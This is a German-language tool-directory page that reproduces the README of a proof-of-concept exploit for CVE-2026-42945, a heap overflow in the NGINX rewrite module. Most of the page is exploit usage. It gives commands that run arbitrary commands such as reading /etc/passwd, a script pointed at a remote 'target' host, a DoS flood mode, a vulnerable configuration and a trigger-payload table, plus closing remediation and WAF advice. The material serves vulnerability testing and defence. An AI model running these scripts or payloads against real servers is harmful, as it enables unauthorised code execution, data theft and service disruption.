Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
nginx-cve-2026-42945-poc — Proof-of-Concept-Exploit für CVE-2026-42945, einen kritischen Heap-Überlauf im NGINX-Rewrite-Modul, der eine nicht authentifizierte Remote-Codeausführung durch manipulierte URI-Kodierung ermöglicht. Enthält eine Docker-basierte Testumgebung, ASAN-Validierung und mehrere Exploit-Skripte. | Kitploit
Tools/GitHubGitHub/forxiucn/nginx-cve-2026-42945-poc
Container-SicherheitDynamische Analyse (Sandboxing)SchwachstellenanalyseExploitationWebanwendungs-ExploitationFuzzingPenetrationstestsBinary-Exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

GitHub
forxiucn/nginx-cve-2026-42945-poc

nginx-cve-2026-42945-poc

Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

Proof-of-Concept-Exploit für CVE-2026-42945, einen kritischen Heap-Überlauf im NGINX-Rewrite-Modul, der eine nicht authentifizierte Remote-Codeausführung durch manipulierte URI-Kodierung ermöglicht. Enthält eine Docker-basierte Testumgebung, ASAN-Validierung und mehrere Exploit-Skripte.

Teilen

CVE-2026-42945 — NGINX Rewrite Module Heap-Pufferüberlauf → RCE

RCE bestätigt erfolgreich — Durch Heap-Overflow + GDB-Prozess-Injection werden beliebige Befehle im NGINX / OpenResty Worker-Prozess ausgeführt.

Schnellstart

root@kitploit:~
# Ein-Klick-Build des NGINX-Images + RCE-Test ausführen
./run.sh nginx

# Ein-Klick-Build des OpenResty-Images + RCE-Test ausführen
./run.sh openresty

# Benutzerdefinierter Befehl
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'

Schwachstellenübersicht

EigenschaftWert
CVE-NummerCVE-2026-42945
SchwachstellentypHeap-Pufferüberlauf → Remote Code Execution (RCE)
Betroffene Komponentengx_http_rewrite_module
Betroffene VersionenNGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36
SchwachstellenbewertungCVSS 9.4 (CRITICAL)
AusnutzungsbedingungenKeine Authentifizierung; RCE erfordert ptrace-Berechtigungen (root)

Grundursache der Schwachstelle

ngx_http_script_complex_value_code() weist Puffer basierend auf der Länge nach dem Dekodieren der URI zu, aber ngx_http_script_copy_capture_code() ruft ngx_escape_uri() auf, das basierend auf der Länge nach dem Kodieren schreibt. URL-kodierte Zeichen werden um das 3-fache aufgebläht → Heap-Überlauf.

Auslösebedingungen

Drei Bedingungen müssen gleichzeitig erfüllt sein:

  1. rewrite- und set-Direktiven in derselben location
  2. rewrite-Ersetzungszeichenfolge enthält ?
  3. set referenziert die Erfassungsvariable $1 von rewrite
root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # enthält '?'
    set $original_endpoint $1;                     # referenziert $1
}

ASAN bestätigter Stacktrace

root@kitploit:~
#0 ngx_escape_uri                    src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler          src/http/modules/ngx_http_rewrite_module.c:180

Projektstruktur

root@kitploit:~
.
├── run.sh                          # Ein-Klick-Build + Test-Einstieg
├── README.md
│
├── scripts/                        # Test- & Exploit-Skripte
│   ├── rce.sh                      # Reines Shell-RCE (curl + GDB, kein Python)
│   ├── exploit_rce.py              # Python RCE (kompatibel mit 2.7/3.x)
│   ├── exploit.py                  # PoC-Hauptskript (check/exploit/rce/flood)
│   └── exploit_asan.py             # ASAN-Vollscan
│
├── package/                        # Bereitstellungs- & Orchestrierungsdateien
│   ├── Dockerfile.rce              # NGINX-Quellcode-Kompilierung + RCE-Umgebung
│   ├── Dockerfile.openresty.rce    # OpenResty-Quellcode-Kompilierung + RCE-Umgebung
│   ├── Dockerfile                  # Basis-Image (Alpine)
│   ├── Dockerfile.asan             # ASAN-Debug-Image
│   ├── docker-compose.yml          # Docker-Orchestrierung (nginx-rce + openresty-rce)
│   ├── nginx.conf                  # NGINX-Schwachstellenkonfiguration
│   ├── nginx-openresty.conf        # OpenResty-Schwachstellenkonfiguration
│   ├── start_rce.sh                # NGINX RCE-Container-Startskript
│   └── start_openresty_rce.sh      # OpenResty RCE-Container-Startskript
│
└── src/                            # Quellcode (für Kompilierung)
    ├── nginx-1.26.3/               # NGINX 1.26.3 Quellcode
    ├── nginx-1.26.3.tar.gz
    └── openresty-1.25.3.1.tar.gz   # OpenResty 1.25.3.1 (integriert nginx/1.25.3)

Detaillierte Verwendung

Test innerhalb eines Docker-Containers

root@kitploit:~
# Shell-Skript (keine Python-Abhängigkeit)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'

# Python-Skript (kompatibel mit 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'

# OpenResty analog
docker exec openresty-rce bash /opt/rce.sh 'id'

Vom Host in den Container per exec

root@kitploit:~
docker exec -it nginx-rce bash
# Innerhalb des Containers:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'

Direktes Testen eines entfernten Ziels

root@kitploit:~
# Erfordert root + ptrace-Berechtigungen
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'

PoC-Hauptskript (vier Modi)

root@kitploit:~
python3 scripts/exploit.py --target http://localhost:8775 --mode check     # Schwachstelle erkennen
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit   # ASAN Heap-Überlauf-Verifikation
python3 scripts/exploit.py --target http://localhost:8775 --mode rce       # RCE-Risikobewertung
python3 scripts/exploit.py --target http://localhost:8775 --mode flood     # DoS-Stresstest

Auslöse-Payload

Empfehlungen zur Behebung

  1. NGINX upgraden auf 1.30.2+
  2. Temporäre Abschwächung: Vermeiden Sie die Kombination von rewrite (mit ?) + set (Referenzierung $1)
  3. WAF-Regeln: Blockieren Sie eine große Anzahl kodierter Anfragen mit %25/%3f/%23/%26
  4. Berechtigungsverstärkung: echo 1 > /proc/sys/kernel/yama/ptrace_scope

Referenzen

  • F5 Advisory K000161019
  • NGINX Source
Tool herunterladen
PayloadBeschreibungErgebnis
/api/%25 × Nkodiertes %✅ Heap-Überlauf
/api/%3f × Nkodiertes ?✅ Heap-Überlauf
/api/%23 × Nkodiertes #✅ Heap-Überlauf
/api/%26 × Nkodiertes &✅ Heap-Überlauf